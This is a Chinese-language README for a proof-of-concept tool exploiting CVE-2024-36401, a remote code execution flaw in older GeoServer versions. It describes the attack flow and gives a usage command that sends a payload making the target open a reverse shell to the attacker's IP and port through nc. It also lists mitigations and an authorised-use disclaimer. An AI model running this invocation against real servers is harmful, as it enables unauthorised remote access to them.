CVE-2024-36401 的 RCE

CVE-2024-36401 GeoServer 的 POC。该 POC 将尝试从目标建立反向系统 shell。

概述

CVE-2024-36401 的 POC：针对 GeoServer 2.25.1、2.24.3 和 2.23.5 之前版本的 RCE。此 POC 基于 phith0n 的安全公告。

工作原理

1. 在您的机器上设置监听器，等待目标返回反向 shell。
2. 该 POC 将发送一个带有 payload 的 POST 请求。
3. 尝试在目标服务器上建立 shell。
4. 此技术假定目标上已安装 nc。

使用方法

该 POC 将尝试从脆弱目标建立反向 shell。它旨在针对脆弱的 Linux 目标。您需要拥有一个具有公开且可访问 IP 的机器才能运行此 POC。

最低要求

• Python 3.6 或更高版本
• requests 库

针对单个目标使用此 POC：

python CVE-2024-36401.py -u HTTP://TARGET:9090 -ip YOUR-IP -port LOCAL-PORT-NUMBER -type GeoServer-Object-Type

帮助：

python3 CVE-2024-36401.py  -h

options:
  -h, --help  show this help message and exit
  -u U        Target, example https://target:8080
  -ip IP      Your IP, example 192.168.1.1
  -port PORT  Port, example 1337
  -type TYPE  Type, example sf:archsites

如何保护您的 GeoServer 应用

1. 禁用 WFS 请求。
2. 通过配置 iptables 来保护您的 Linux 系统：禁用反向连接，将所有流量默认策略设置为丢弃，允许已建立和相关的连接，并仅允许必要的出站流量（如 DNS、HTTP 和 HTTPS）。
3. 或者升级到 GeoServer 的最新版本。

联系

如有任何建议或想法，请通过 我 与我联系。

免责声明

我喜欢为了乐趣、工作和教育目的创建自己的工具。我不支持或鼓励黑客行为或未经授权访问任何系统或网络。请负责任地使用我的工具，并且仅在您拥有明确测试权限的系统上使用。